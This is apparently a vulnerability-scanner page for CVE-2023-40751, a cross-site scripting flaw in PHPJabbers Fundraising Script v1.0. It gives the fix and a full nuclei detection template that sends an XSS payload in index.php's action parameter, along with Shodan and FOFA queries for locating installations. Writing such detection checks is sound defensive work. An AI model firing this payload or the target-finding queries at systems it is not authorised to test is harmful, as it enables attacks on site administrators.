PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

PHPJabbers Fundraising Script v1.0 is vulnerable to Cross Site Scripting (XSS) via the "action" parameter of index.php.

Impact

Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal fundraising administrator credentials and manipulate donation campaigns.

Fix

Update PHPJabbers Fundraising Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.

How to confirm it

Send: POST {{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E
Positive when: contains "<img src=x onerror=prompt(document.domain)>" and "didn't exists" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40751 -u <target>

The full check

id: CVE-2023-40751

info:
  name: PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    PHPJabbers Fundraising Script v1.0 is vulnerable to Cross Site Scripting (XSS) via the "action" parameter of index.php.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal fundraising administrator credentials and manipulate donation campaigns.
  remediation: |
    Update PHPJabbers Fundraising Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40751
    cwe-id: CWE-79
    epss-score: 0.01088
    epss-percentile: 0.65605
    cpe: cpe:2.3:a:phpjabbers:fundraising_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: fundraising_script
  tags: cve,cve2023,phpjabbers,fundraising,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

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